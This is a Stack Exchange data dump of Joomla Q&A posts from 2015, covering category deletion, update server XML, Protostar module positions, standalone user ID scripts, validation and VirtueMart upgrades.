  <row Id="14289" PostTypeId="1" CreationDate="2015-11-13T12:36:44.030" Score="3" ViewCount="119" Body="&lt;p&gt;I just started to use Joomla 2.5 and it has this &lt;strong&gt;uncategorized category&lt;/strong&gt;. I read that it should be like any other category- you can re-name it, delete it and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to change its name, but when I deleted it, I couldn't see my web page anymore, there was error. I put it back and the web page was ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how I can delete it so, that it won't affect my web page anyhow?&lt;br&gt;&#xA;I renamed it Home, but I don't want it, because I already have Home button in other place.&lt;/p&gt;&#xA;" OwnerUserId="7273" LastEditorUserId="126" LastEditDate="2015-11-13T21:19:58.433" LastActivityDate="2015-11-13T21:19:58.433" Title="Uncategorized category in Joomla 2.5" Tags="|joomla-2.5|category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14290" PostTypeId="2" ParentId="14289" CreationDate="2015-11-13T13:01:14.973" Score="3" Body="&lt;p&gt;&lt;strong&gt;First of all, Joomla 2.5 is &lt;a href=&quot;https://docs.joomla.org/What_version_of_Joomla!_should_you_use%3F&quot; rel=&quot;nofollow&quot;&gt;not supported anymore&lt;/a&gt;. If you're just getting started with Joomla, I highly recommend you begin with Joomla 3.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;when I deleted [..the uncategorized category..], I couldn't see my web page anymore, there was error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can delete the &lt;code&gt;Uncategorized&lt;/code&gt; category, but you'll need at least one category for your site to work properly. Articles (your main content) must belong to a category.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I renamed it Home, but I don`t want it, because I already have Home button in other place.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know what Home button you mean, but your category names does not have to be displayed anywhere unless you want to, and it has nothing to do with your main menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's no reason to remove all categories.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-13T13:01:14.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14291" PostTypeId="1" AcceptedAnswerId="14293" CreationDate="2015-11-13T18:41:29.450" Score="2" ViewCount="66" Body="&lt;p&gt;I've written the XML for the updateserver per the documentation, and tested that it is both valid and has a downloadurl that is functional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to clear the cache and check for updates, but every time no updates for my plugin are returned. I've tried it on two different Joomla! installs on two different servers, both with module versions at least 1 below that of the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's very little documentation on errors, and any help would be appreciated. I'm willing to dig into the update check code if I can be pointed towards its location.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;&amp;lt;update&amp;gt;&#xA;    &amp;lt;name&amp;gt;Module name&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Redacted Description&amp;lt;/description&amp;gt;&#xA;    &amp;lt;element&amp;gt;mod_redacted&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;module&amp;lt;/type&amp;gt;&#xA;    &amp;lt;client&amp;gt;site&amp;lt;/client&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;downloads&amp;gt;&#xA;        &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;http://redacted.url/updates/mod_redacted_101.zip&amp;lt;/downloadurl&amp;gt;&#xA;    &amp;lt;/downloads&amp;gt;&#xA;    &amp;lt;tags&amp;gt;&#xA;    &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;    &amp;lt;/tags&amp;gt;&#xA;    &amp;lt;maintainer&amp;gt;Joseph B.&amp;lt;/maintainer&amp;gt;&#xA;    &amp;lt;maintainerurl&amp;gt;redacted&amp;lt;/maintainerurl&amp;gt;&#xA;    &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.1&quot;/&amp;gt;&#xA;&amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&quot;extension&quot; name=&quot;Redacted Updates&quot; priority=&quot;2&quot;&amp;gt;http://redacted.url/redacted.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7099" LastEditorUserId="7099" LastEditDate="2015-11-13T18:59:44.747" LastActivityDate="2015-11-13T19:04:43.103" Title="Module update not detected" Tags="|module|update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14293" PostTypeId="2" ParentId="14291" CreationDate="2015-11-13T19:04:43.103" Score="3" Body="&lt;p&gt;To anybody who stumbles upon this in the future, the problem was caused by a mix of poor reading skills and awkward tag names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;targetplatform&lt;/code&gt; looks for that platform level and that level only. You can specify &lt;code&gt;targetplatform=&quot;3.[012345]&lt;/code&gt;, but the running Joomla! version &lt;em&gt;must&lt;/em&gt; fall within that range or the update won't be detected. This is, in my opinion, awkward wording, as most systems use &lt;em&gt;target&lt;/em&gt; to specify which is the tested environment, not which is the required environment.&lt;/p&gt;&#xA;" OwnerUserId="7099" LastActivityDate="2015-11-13T19:04:43.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14294" PostTypeId="1" AcceptedAnswerId="14297" CreationDate="2015-11-13T20:19:42.037" Score="2" ViewCount="1719" Body="&lt;p&gt;I'm trying for Joomla Protostar template to create 3 custom module positions above and below the content area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the positions to the templateDetails.xml.&#xA;And I figured that I then have to add the positions into the index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 180 I have this section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;main id=&quot;content&quot; role=&quot;main&quot; class=&quot;&amp;lt;?php echo $span; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;!-- Begin Content --&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-3&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-2&quot; style=&quot;none&quot; /&amp;gt;&#xA;            &amp;lt;!-- End Content --&amp;gt;&#xA;        &amp;lt;/main&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then if I'm right, my code for my Top positions will go before &quot;message&quot; and bottom after &quot;component&quot;, using?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-4&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but not sure how to do this correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom positions Bottom A-B-C and Top A-B-C needs to be horizontally in 3 columns and fill 100% of the main sections width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I place a module only on Bottom-A, then that module will fill 100% of the width (same width as position-2). If I place a module on e.g. Bottom A and B they are to be 50/50. If I place a module on Bottom A, B and C they will be 1/3 of the width each (like on position image below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had  a look at this thread: &lt;a href=&quot;https://stackoverflow.com/questions/30037132/joomla-3-x-protostar-how-to-make-custom-positions-stack-horizontally-rather-th&quot;&gt;how to make custom positions stack horizontally rather than vertically&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a little modification by the code given in that thread, did give me 3 horizontal positions, but they weren't correctly aligned with e.g position-2 and didn't function according to my wishes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;bottom-a&quot;&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;countModules('position-9')) : ?&amp;gt;&#xA;             &amp;lt;!--custom position 9 'Bottom-A' --&amp;gt;&#xA;            &amp;lt;div id=&quot;top-2a&quot; class=&quot;span3&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-9&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;             &amp;lt;!-- End Sidebar --&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;bottom-b&quot;&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;countModules('position-10')) : ?&amp;gt;&#xA;        &amp;lt;!--custom position 10 'Bottom-B' --&amp;gt;&#xA;            &amp;lt;div id=&quot;top-2b&quot; class=&quot;span3&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-10&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- End Sidebar --&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;bottom-c&quot;&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;countModules('position-11')) : ?&amp;gt;&#xA;        &amp;lt;!--custom position 11 'Bottom-C' --&amp;gt;&#xA;            &amp;lt;div id=&quot;top-2c&quot; class=&quot;span3&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-11&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- End Sidebar --&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G43zD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G43zD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uNXgR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uNXgR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="2005" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-11-14T12:23:11.600" Title="Protostar: 3 module position horizontally above and below content" Tags="|module-display|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14295" PostTypeId="2" ParentId="14289" CreationDate="2015-11-13T20:58:00.130" Score="1" Body="&lt;p&gt;As johanpw already said, simply drop using J25, and Jump to J3.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Regarding the Uncategorized:&lt;/strong&gt;&lt;br /&gt;&#xA;You will need at least 1 category, where your articles should belong.&#xA;The name &amp;quot;Uncategorized&amp;quot; is a conventional name for a general category, where you can assign any number/kind of articles.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What happens if you delete it?&lt;/strong&gt;&lt;br /&gt;&#xA;Well, first of all, you won't be able to completely delete it, if it has assigned articles. Otherwise, you are ok to delete it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What about the error in the front-end of the site?&lt;/strong&gt;&lt;br /&gt;&#xA;Most likely, the page you were looking had a relationship with this category. It could be a Blog Menu Item assigned to display articles from that category. But with that category deleted (or trashed), then the front-end page is losing its reference to the database and it manifests this with an error.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How to delete it, without getting the error?&lt;/strong&gt;&lt;br /&gt;&#xA;First make sure, any articles you really want to keep aren't belong to that category. Move them to a category you want. Then, you need to make sure that none of your menu items is linked with that category. The fact that you are deleting the category, means that you also don't want to show anything from it in the front-end. Check all your menu items, and change their settings.&lt;/p&gt;&#xA;&lt;p&gt;After that, I think you should be ok.&lt;/p&gt;&#xA;&lt;h2&gt;Bonus: An example workflow of setting up a simple website&lt;/h2&gt;&#xA;&lt;p&gt;The uncategorized category (which you can name it anything you want), comes very handy, if for example you want to create a simple 4 pages website.&lt;/p&gt;&#xA;&lt;p&gt;Let's say the structure of your website will be like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Home&lt;/strong&gt; | &lt;strong&gt;Company&lt;/strong&gt; | &lt;strong&gt;Products&lt;/strong&gt; | &lt;strong&gt;Services&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this, you would create 4 articles with the corresponding names.&lt;/p&gt;&#xA;&lt;p&gt;So, you start creating the articles one by one in the &lt;strong&gt;Articles Manager&lt;/strong&gt; (com_content component), adding your titles, typing your content, adding images. Since the website is simple, you don't need to to create a complex categorization structure. You would be just fine, if you assign all your articles in 1 main category. This could be the default uncategorized one, or you can rename it anything you want, or you can simply delete this and create another one - it really doesn't matter.&lt;/p&gt;&#xA;&lt;p&gt;Next steps is to go in the &lt;strong&gt;Menus&lt;/strong&gt; (menu manager) and create your &lt;strong&gt;menu items&lt;/strong&gt; for each of your pages. You name each one the names as per your structure, select menu items of the type: &lt;strong&gt;Single Article&lt;/strong&gt;, and you select the corresponding article.&lt;/p&gt;&#xA;&lt;p&gt;Completing the above steps, will give you a simple website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-13T20:58:00.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14296" PostTypeId="2" ParentId="14273" CreationDate="2015-11-13T21:04:32.360" Score="0" Body="&lt;p&gt;Well, I usually prefer to use JCE. No need to mention other advantages of it, but in regards with your question it provides 2 useful features:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all it's code editor is pretty good - with syntax highlighting and code indentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, it also provides a toggle editor state, and you easily switch on/off the editor whenever you need it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-13T21:04:32.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14297" PostTypeId="2" ParentId="14294" CreationDate="2015-11-13T23:30:15.020" Score="3" Body="&lt;h1&gt;Explanation:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Lets looks at what we know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bootstrap is a 12 column grid framework&lt;/li&gt;&#xA;&lt;li&gt;You're trying to implement 3 boxes, divided equally in a row&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;------------------------span12------------------------&amp;gt;&#xA;&amp;lt;------span4------&amp;gt;&amp;lt;------span4------&amp;gt;&amp;lt;-----span4------&amp;gt;&#xA;&amp;lt;----span3---&amp;gt;&amp;lt;----span3---&amp;gt;&amp;lt;----span3---&amp;gt;&amp;lt;----span3---&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;12 ÷ 3 = 4&lt;/h3&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Solution:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;span4&lt;/code&gt; instead of &lt;code&gt;span3&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-11-14T00:44:53.980" LastActivityDate="2015-11-14T00:44:53.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14298" PostTypeId="2" ParentId="14288" CreationDate="2015-11-14T00:01:44.010" Score="1" Body="&lt;p&gt;Your problem is that virtuemart is out of date and therefore causing the issues as per the last part of your fatal error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to disable all virtuemart plugins prior to the update to Joomla! 3.x then once updated you download and install Virtuemart 3 and follow their update instructions also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have already upgrade to Joomla! 3.x then disable the virtuemart system plugin in the Joomla! Extensions table of the database with the likes of phpmyadmin. &lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-14T00:01:44.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14299" PostTypeId="1" AcceptedAnswerId="14304" CreationDate="2015-11-14T01:36:07.067" Score="0" ViewCount="423" Body="&lt;p&gt;I have an application in my Joomla site, that gets userId. In my local machine I don't have problem, but in my server hosting (Godaddy), doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', realpath(dirname(__FILE__).'/../..' ));&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$mainframe =&amp;amp; JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$user = JFactory::getUser();&#xA;$userId = $user-&amp;gt;id;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to install PDO in server hosting&lt;/p&gt;&#xA;" OwnerUserId="7275" LastActivityDate="2015-11-30T23:47:22.087" Title="I can't get userId" Tags="|joomla-3.x|php|development|hosting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14300" PostTypeId="1" AcceptedAnswerId="14302" CreationDate="2015-11-14T10:05:12.013" Score="2" ViewCount="109" Body="&lt;p&gt;I have a PHP based signature banner generator (a &lt;em&gt;'proud X for N years N  Months, N days'&lt;/em&gt; type of deal) that I need to include in a site served via Joomla, but am a bit confused as to how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.siteground.com/tutorials/joomla/joomla-banners.htm&quot; rel=&quot;nofollow&quot;&gt;Joomla Banners Tutorial&lt;/a&gt;: which seems to be focused on banners that are included in the site itself, but this banner is not never going to be included within the site it is hosted on, it is for visitors to use for their communication in forums.  The places it will be hosted will just have an image request (HTML based &lt;code&gt;img&lt;/code&gt; element).&lt;/li&gt;&#xA;&lt;li&gt;It seems to be generically an &lt;a href=&quot;https://docs.joomla.org/Extension&quot; rel=&quot;nofollow&quot;&gt;Extension&lt;/a&gt;, but how to import/upload it for use by other sites?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Component&quot; rel=&quot;nofollow&quot;&gt;Component&lt;/a&gt;: &lt;em&gt;&quot;Components are the main functional units of Joomla!; they can be seen as mini-applications.&quot;&lt;/em&gt; - this seems the most likely.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Library&quot; rel=&quot;nofollow&quot;&gt;Library&lt;/a&gt;: &lt;em&gt;&quot;A library is a package of code which provides a related group of functions.&quot;&lt;/em&gt;  This almost seems to fit, if one single function can be considered a 'group'.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow&quot;&gt;Package&lt;/a&gt; is an &lt;em&gt;&quot;extension that is used to install multiple extensions in one go.&quot;&lt;/em&gt; So that seems inappropriate in that this is a single PHP that relies on nothing else, rather than a collection of extensions.  But then, the PHP relies on both a font and a base image over which to write the text.  Are they all considered 'extensions'?&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin&quot; rel=&quot;nofollow&quot;&gt;Plugin&lt;/a&gt;  seems wrong since a request from an external site (to generate and deliver an image) would not be a 'trigger event'.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Should I be looking to upload the PHP as a Component?  If not, what &lt;em&gt;should&lt;/em&gt; I be looking into?&lt;/p&gt;&#xA;" OwnerUserId="7277" LastActivityDate="2015-11-16T06:15:55.997" Title="Installing a PHP based sig. banner generator" Tags="|joomla-3.x|php|component|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14302" PostTypeId="2" ParentId="14300" CreationDate="2015-11-14T13:01:53.787" Score="3" Body="&lt;p&gt;It sounds like you should be looking into making a &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow&quot;&gt;Joomla module&lt;/a&gt;. It's fairly simple to build a basic module, and you can also make it as complex as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the end user can publish the module to any available module position in their template, which might be important for a banner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if this is something you need to implement on a single site, it might be quicker to include your PHP code directly inside a Joomla article or module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several extensions that allow you to add PHP code in your content, here are some ideas:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sourcerer (&lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/sourcerer&lt;/a&gt;) - plugin&lt;/li&gt;&#xA;&lt;li&gt;Custom HTML Advanced (&lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/custom-html-advanced&lt;/a&gt;) - module&lt;/li&gt;&#xA;&lt;li&gt;Flexi Custom Code (&lt;a href=&quot;http://extensions.joomla.org/extension/flexi-custom-code&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/flexi-custom-code&lt;/a&gt;) - module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-11-16T06:15:55.997" LastActivityDate="2015-11-16T06:15:55.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14304" PostTypeId="2" ParentId="14299" CreationDate="2015-11-14T20:39:05.667" Score="0" Body="&lt;p&gt;I use:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define(JPATH_BASE,  $_SERVER[ 'DOCUMENT_ROOT']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works both on my local windows machine and my sites on up on siteground. Sorry, can't remember where I found it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;====================&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // defining the base path.&#xA;    define(JPATH_BASE,  $_SERVER[ 'DOCUMENT_ROOT']);&#xA;    require_once (JPATH_BASE .'/includes/defines.php' );&#xA;    require_once( JPATH_BASE .'/includes/framework.php' );&#xA;&#xA;    // Creating an app instance &#xA;    $app =&amp;amp; JFactory::getApplication('site');&#xA;    $app-&amp;gt;initialise();&#xA;&#xA;    jimport( 'joomla.user.user' );&#xA;    jimport( 'joomla.user.helper' );&#xA;    $user = JFactory::getUser();&#xA;&#xA;....&#xA;&#xA;&#xA;$createdby = $user-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3779" LastEditorUserId="126" LastEditDate="2015-11-15T05:50:41.987" LastActivityDate="2015-11-15T05:50:41.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14305" PostTypeId="1" CreationDate="2015-11-14T23:12:29.990" Score="1" ViewCount="400" Body="&lt;p&gt;Just got confused by seeing both type of validations in Joomla.  So far my understanding of these 2 is as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Client Side Validation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done via jQuery/Javascript on the client browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Server Side Validation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done at server after the page got submitted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to understand how server side validation works with a simple mandatory field example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML form field as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;note_name&quot; &#xA;  type=&quot;text&quot; &#xA;  label=&quot;Note Name&quot; &#xA;  required=&quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the default.php I have the below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//JHtml::_('behavior.formvalidation');&#xA;&amp;lt;form .... class=&quot;form-vertical&quot; ...&amp;gt;&#xA;echo $this-&amp;gt;form-&amp;gt;renderField('note_name');&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Save&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code I have not included any client-side validation code and I was thinking the page will get submit and the server will do the validation.  But the page doesn't get submit and it simply shows a nice popup near to the field asking to 'Please input this field'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Why the client validation is getting triggered even though I haven't included any client side validation code?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="3650" LastEditDate="2016-03-08T00:20:44.937" LastActivityDate="2017-02-01T08:34:55.750" Title="Form Validation - Server Side vs Client Side" Tags="|joomla-3.4|jform|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14307" PostTypeId="2" ParentId="14288" CreationDate="2015-11-15T11:45:06.260" Score="1" Body="&lt;p&gt;Upgrading a site using Virtuemart is almost never a one-click upgrade. I wrote a post some time ago on &lt;a href=&quot;https://joomla.stackexchange.com/questions/4618/migrating-from-joomla-1-5-to-2-5-along-with-virtuemart-1-9-to-the-supported-vers/4624#4624&quot;&gt;Joomla/Virtuemart upgrades&lt;/a&gt;, although for previous versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try upgrading to Virtuemart 3 first (if you haven't done it already). Virtuemart 2.x does not work in Joomla 3 (&lt;a href=&quot;http://forum.virtuemart.net/index.php?topic=127714.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;as mentioned here&lt;/a&gt;). The &lt;a href=&quot;http://docs.virtuemart.net/tutorials/installation-migration-upgrade/198-upgrade-virtuemart-2-to-virtuemart-3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;upgrade&lt;/a&gt; should be quite straight forward, but there's no guarantee it will work right out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often find it quicker (and easier) to start a new store from scratch, and create products and categories again. It might sound like unnecessary work, but compared to all the trouble-shooting you have to do after a one-click upgrade, it might actually be quicker. You'll get a clean start, and you can (manually) copy most of the settings from your previous store, thus saving you some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you're getting a less important &lt;code&gt;strict standards&lt;/code&gt; error with a plugin called &lt;a href=&quot;http://extensions.joomla.org/extension/true-typography&quot; rel=&quot;nofollow noreferrer&quot;&gt;True Typography&lt;/a&gt;, you should upgrade or disable this plugin.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-11-15T11:45:06.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14308" PostTypeId="2" ParentId="9703" CreationDate="2015-11-15T12:16:05.230" Score="0" Body="&lt;p&gt;This sounds to me like an error in your &lt;code&gt;.htaccess&lt;/code&gt; file. Make sure you've renamed &lt;code&gt;htaccess.txt&lt;/code&gt;, and that it is properly configured. Pay special attention to the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Uncomment the line if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think the &lt;a href=&quot;http://extensions.joomla.org/category/official-extensions&quot; rel=&quot;nofollow&quot;&gt;WebLinks component&lt;/a&gt; has been updated after it was separated from the Joomla core. Check your available updates, and also make sure you use the latest version of Joomla, currently 3.4.5.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-11-15T12:16:05.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
